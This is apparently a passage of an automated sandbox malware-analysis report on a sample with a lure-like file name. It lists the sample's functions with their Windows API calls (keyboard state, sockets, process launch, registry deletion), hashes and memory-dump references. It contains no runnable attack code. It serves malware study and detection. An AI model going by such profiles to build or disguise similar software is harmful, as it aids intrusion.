                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E0646D
                                                • ReleaseDC.USER32(00000000,00000000), ref: 00E06479
                                                • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00E064B5
                                                • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00E064C6
                                                • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00E09299,?,?,000000FF,00000000,?,000000FF,?), ref: 00E06500
                                                • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00E06520
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                • String ID:
                                                • API String ID: 3864802216-0
                                                • Opcode ID: 6b444e35cec5607fe4b3116aa5c7bbd414bdb6983bcd6b2b12abacdc8d7af752
                                                • Instruction ID: e41fe44e55a3c17db6902de01e48434d5c264985fa1792c2919ad3ad49c65ccf
                                                • Opcode Fuzzy Hash: 6b444e35cec5607fe4b3116aa5c7bbd414bdb6983bcd6b2b12abacdc8d7af752
                                                • Instruction Fuzzy Hash: 99319F72201210BFEF208F51DC4AFEA3FA9EF09765F044065FE08AA191C6769C91CBA0
                                                Function 00DDC072 Relevance: 12.1, APIs: 8, Instructions: 92COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memcmp
                                                • String ID:
                                                • API String ID: 2931989736-0
                                                • Opcode ID: 87a2550dee6c1b2eee0ceeb07eacd75d9d916258d73f549817813a85d5b4c067
                                                • Instruction ID: 96dfad3134e42f335a925d34e5c7d67db180ffc50b1ffd640387e9f7034151a9
                                                • Opcode Fuzzy Hash: 87a2550dee6c1b2eee0ceeb07eacd75d9d916258d73f549817813a85d5b4c067
                                                • Instruction Fuzzy Hash: F321C275660316BBD210B5209C42FBB639CEF21394F0C6026FE09E6382EB51DE21C2F5
                                                Function 00DEED8E Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                  • Part of subcall function 00D9FEC6: _wcscpy.LIBCMT ref: 00D9FEE9
                                                • _wcstok.LIBCMT ref: 00DEEEFF
                                                • _wcscpy.LIBCMT ref: 00DEEF8E
                                                • _memset.LIBCMT ref: 00DEEFC1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                • String ID: X
                                                • API String ID: 774024439-3081909835
                                                • Opcode ID: d48c1f3b669ed83772d7e7ade2fe42484d4daaf0b341b777f53aebfc4985f48f
                                                • Instruction ID: 4df71f43dd5ddfafd295b406755caf6d632cde956f2b37223acebead8c846704
                                                • Opcode Fuzzy Hash: d48c1f3b669ed83772d7e7ade2fe42484d4daaf0b341b777f53aebfc4985f48f
                                                • Instruction Fuzzy Hash: 9EC168316083409FC724FF25C881A6AB7E4EF85314F14492DF8999B2A2DB70ED45CBB2
                                                Function 00DF6E17 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00DF6F14
                                                • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00DF6F35
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00DF6F48
                                                • htons.WSOCK32(?,?,?,00000000,?), ref: 00DF6FFE
                                                • inet_ntoa.WSOCK32(?), ref: 00DF6FBB
                                                  • Part of subcall function 00DDAE14: _strlen.LIBCMT ref: 00DDAE1E
                                                  • Part of subcall function 00DDAE14: _memmove.LIBCMT ref: 00DDAE40
                                                • _strlen.LIBCMT ref: 00DF7058
                                                • _memmove.LIBCMT ref: 00DF70C1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
                                                • String ID:
                                                • API String ID: 3619996494-0
                                                • Opcode ID: 41ba7b1529e93fc84ab4e1bf886d37c83f21bf80e35f1b65b4f7eb9764962c37
                                                • Instruction ID: a310b681d8560cfa928f228837bb157f0b450d2fe458646d50cf0430fccdc557
                                                • Opcode Fuzzy Hash: 41ba7b1529e93fc84ab4e1bf886d37c83f21bf80e35f1b65b4f7eb9764962c37
                                                • Instruction Fuzzy Hash: 5781CF72508304ABD710EB24CC91E7BB3E9EF84714F198919F6959B292DB71ED04CBB2
                                                Function 00D81424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 899cc3d1ef3688647dab412e7870c43623895173000090083278a7050161cb30
                                                • Instruction ID: 4190523fea8e7bfb062242aca8c90715a41444a7d254421fc1570da48bf79fd9
                                                • Opcode Fuzzy Hash: 899cc3d1ef3688647dab412e7870c43623895173000090083278a7050161cb30
                                                • Instruction Fuzzy Hash: 28717C34900109EFCB14DF99CC49ABEBB79FF85320F148159F915AA251C730AA5ACFB4
                                                Function 00E0B60B Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • IsWindow.USER32(0194CB30), ref: 00E0B6A5
                                                • IsWindowEnabled.USER32(0194CB30), ref: 00E0B6B1
                                                • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 00E0B795
                                                • SendMessageW.USER32(0194CB30,000000B0,?,?), ref: 00E0B7CC
                                                • IsDlgButtonChecked.USER32(?,?), ref: 00E0B809
                                                • GetWindowLongW.USER32(0194CB30,000000EC), ref: 00E0B82B
                                                • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00E0B843
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                • String ID:
                                                • API String ID: 4072528602-0
                                                • Opcode ID: 3fef2ae2a5d624267040d864244bfb456684012a57ba96483a19c319347ac1d5
                                                • Instruction ID: c3bafc901a0fd86396f395d59c81f13c7d7993051864a964a665b891403b41ab
                                                • Opcode Fuzzy Hash: 3fef2ae2a5d624267040d864244bfb456684012a57ba96483a19c319347ac1d5
                                                • Instruction Fuzzy Hash: A071D134600204AFDB24DF65D894FAA7BB9FF89304F08516AE945B72E1C732A8D1CB50
                                                Function 00DFF732 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DFF75C
                                                • _memset.LIBCMT ref: 00DFF825
                                                • ShellExecuteExW.SHELL32(?), ref: 00DFF86A
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                  • Part of subcall function 00D9FEC6: _wcscpy.LIBCMT ref: 00D9FEE9
                                                • GetProcessId.KERNEL32(00000000), ref: 00DFF8E1
                                                • CloseHandle.KERNEL32(00000000), ref: 00DFF910
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
                                                • String ID: @
                                                • API String ID: 3522835683-2766056989
                                                • Opcode ID: 14ca2c573ae6fefe2b45d91563458cffb3547e41de9c6174cb6175af50425707
                                                • Instruction ID: 291593d424dba2c095a248f77f09cd0b54012125b6d561e2065d1dea4b58a36b
                                                • Opcode Fuzzy Hash: 14ca2c573ae6fefe2b45d91563458cffb3547e41de9c6174cb6175af50425707
                                                • Instruction Fuzzy Hash: A7618CB5A006199FCB14EF64C4919AEFBF5FF48310B198469E996AB351CB30AD41CFB0
                                                Function 00DE145D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32(?), ref: 00DE149C
                                                • GetKeyboardState.USER32(?), ref: 00DE14B1
                                                • SetKeyboardState.USER32(?), ref: 00DE1512
                                                • PostMessageW.USER32(?,00000101,00000010,?), ref: 00DE1540
                                                • PostMessageW.USER32(?,00000101,00000011,?), ref: 00DE155F
                                                • PostMessageW.USER32(?,00000101,00000012,?), ref: 00DE15A5
                                                • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00DE15C8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessagePost$KeyboardState$Parent
                                                • String ID:
                                                • API String ID: 87235514-0
                                                • Opcode ID: c5e3d7177bd89a4a21cb8960fe3cab11c70c509a7ae18957ee803149e893b715
                                                • Instruction ID: 42b8127cafd9be7e5b00c8b2c3f8301e70bba6807e7b037d857b97d5548ae69a
                                                • Opcode Fuzzy Hash: c5e3d7177bd89a4a21cb8960fe3cab11c70c509a7ae18957ee803149e893b715
                                                • Instruction Fuzzy Hash: 4F51E2B47047D53EFB3262268C45BBABEA96B46304F0C448DE1D6558C2C2A5DCD8D770
                                                Function 00DE1276 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32(00000000), ref: 00DE12B5
                                                • GetKeyboardState.USER32(?), ref: 00DE12CA
                                                • SetKeyboardState.USER32(?), ref: 00DE132B
                                                • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00DE1357
                                                • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00DE1374
                                                • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00DE13B8
                                                • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00DE13D9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessagePost$KeyboardState$Parent
                                                • String ID:
                                                • API String ID: 87235514-0
                                                • Opcode ID: 85cf686b0c0d15bdc5a2ae6bfd3b53c536710db722780cf79c21c85b5f4c8eb7
                                                • Instruction ID: 95758ad87ed75b929a9c86b2456c837e5238ee660feecd0ccf320958f6372203
                                                • Opcode Fuzzy Hash: 85cf686b0c0d15bdc5a2ae6bfd3b53c536710db722780cf79c21c85b5f4c8eb7
                                                • Instruction Fuzzy Hash: 9651E3B47046D57DFB32A2268C45BBABFA99B06300F0C8589E1D456CC2D3A5EC98D770
                                                Function 00DE589F Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _wcsncpy$LocalTime
                                                • String ID:
                                                • API String ID: 2945705084-0
                                                • Opcode ID: 019cfe7316e1eb841bb81615c404b68127d6f8cbf08a950a59dc6ecfd798347c
                                                • Instruction ID: 6d4eb07e529d481b57087476484decce4db4a651987bfbc64eca5e15cb519a67
                                                • Opcode Fuzzy Hash: 019cfe7316e1eb841bb81615c404b68127d6f8cbf08a950a59dc6ecfd798347c
                                                • Instruction Fuzzy Hash: 5141A2A5C2061876CB10FBB98C86ADFB7A8DF06310F508562F518E3122E734E754C7B9
                                                Function 00DDDA5D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00DDDAC5
                                                • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00DDDAFB
                                                • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00DDDB0C
                                                • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00DDDB8E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorMode$AddressCreateInstanceProc
                                                • String ID: ,,$DllGetClassObject
                                                • API String ID: 753597075-2867008933
                                                • Opcode ID: 50efad1666911906a6c72a0edf37dac577136f9b0df01692763a0fcb88cefed9
                                                • Instruction ID: fa3817f51cf45917769c64ba6a6ee8747aca5fa0a2c6c1a86095e51976fd0e32
                                                • Opcode Fuzzy Hash: 50efad1666911906a6c72a0edf37dac577136f9b0df01692763a0fcb88cefed9
                                                • Instruction Fuzzy Hash: 74412DB1600208EFDF15CF55C884A9A7BBAEF48354F1681ABE9059F206D7B1D944DBB0
                                                Function 00DE38AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DE48AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00DE38D3,?), ref: 00DE48C7
                                                  • Part of subcall function 00DE48AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00DE38D3,?), ref: 00DE48E0
                                                • lstrcmpiW.KERNEL32(?,?), ref: 00DE38F3
                                                • _wcscmp.LIBCMT ref: 00DE390F
                                                • MoveFileW.KERNEL32(?,?), ref: 00DE3927
                                                • _wcscat.LIBCMT ref: 00DE396F
                                                • SHFileOperationW.SHELL32(?), ref: 00DE39DB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
                                                • String ID: \*.*
                                                • API String ID: 1377345388-1173974218
                                                • Opcode ID: 70335d29325caa6a9be198d9c8ea5d8d05f02f85f6ea3c955395a724d27fa030
                                                • Instruction ID: 470a61651ea01b4f8c0dba0eeaf3111a9d0bb42e3b0e92866d777b3eb2d5ec78
                                                • Opcode Fuzzy Hash: 70335d29325caa6a9be198d9c8ea5d8d05f02f85f6ea3c955395a724d27fa030
                                                • Instruction Fuzzy Hash: 34417D714083849AC756EF66C8859EFB7E8EF89340F54082EB489C3152EB75D788CB72
                                                Function 00E07500 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00E07519
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E075C0
                                                • IsMenu.USER32(?), ref: 00E075D8
                                                • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00E07620
                                                • DrawMenuBar.USER32 ref: 00E07633
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Menu$Item$DrawInfoInsert_memset
                                                • String ID: 0
                                                • API String ID: 3866635326-4108050209
                                                • Opcode ID: 5c116a3b08b0396067262cd2a9830d36928bcb2c092aa78dc31e6c5b70235395
                                                • Instruction ID: 3ef62cd6600803ad47dc564f93057f9604670ad0e6c8e2a881d1ae3d8be49de3
                                                • Opcode Fuzzy Hash: 5c116a3b08b0396067262cd2a9830d36928bcb2c092aa78dc31e6c5b70235395
                                                • Instruction Fuzzy Hash: 82416C74A04608EFDB20DF54E884EDABBF8FB09314F044029ED96A7290D731AD94CFA0
                                                Function 00E0122D Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00E0125C
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E01286
                                                • FreeLibrary.KERNEL32(00000000), ref: 00E0133D
                                                  • Part of subcall function 00E0122D: RegCloseKey.ADVAPI32(?), ref: 00E012A3
                                                  • Part of subcall function 00E0122D: FreeLibrary.KERNEL32(?), ref: 00E012F5
                                                  • Part of subcall function 00E0122D: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00E01318
                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 00E012E0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                • String ID:
                                                • API String ID: 395352322-0
                                                • Opcode ID: 3dd6735a977760b4256978b3321d9a8939231f097e509ecdc3b4b4e8170850fd
                                                • Instruction ID: 48b8a97ca4e7ae77493c78ac9d09c0447321d8c42d112f58273a189aa699dc86
                                                • Opcode Fuzzy Hash: 3dd6735a977760b4256978b3321d9a8939231f097e509ecdc3b4b4e8170850fd
                                                • Instruction Fuzzy Hash: D2312BB1901109BFEB149B91DC89AFEB7BCEF08304F0011A9E501F6591EA759E899AA0
                                                Function 00E0653C Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00E0655B
                                                • GetWindowLongW.USER32(0194CB30,000000F0), ref: 00E0658E
                                                • GetWindowLongW.USER32(0194CB30,000000F0), ref: 00E065C3
                                                • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00E065F5
                                                • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00E0661F
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00E06630
                                                • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00E0664A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: LongWindow$MessageSend
                                                • String ID:
                                                • API String ID: 2178440468-0
                                                • Opcode ID: 277929aef4e4f3f3496fa22ce213244eece2d6e61b3a379cccb4d0ce6e7a9bb3
                                                • Instruction ID: d2a0d2a8e34b41d81ed2d2b009ea0f243f11fa326b43576c500bd817036d87ef
                                                • Opcode Fuzzy Hash: 277929aef4e4f3f3496fa22ce213244eece2d6e61b3a379cccb4d0ce6e7a9bb3
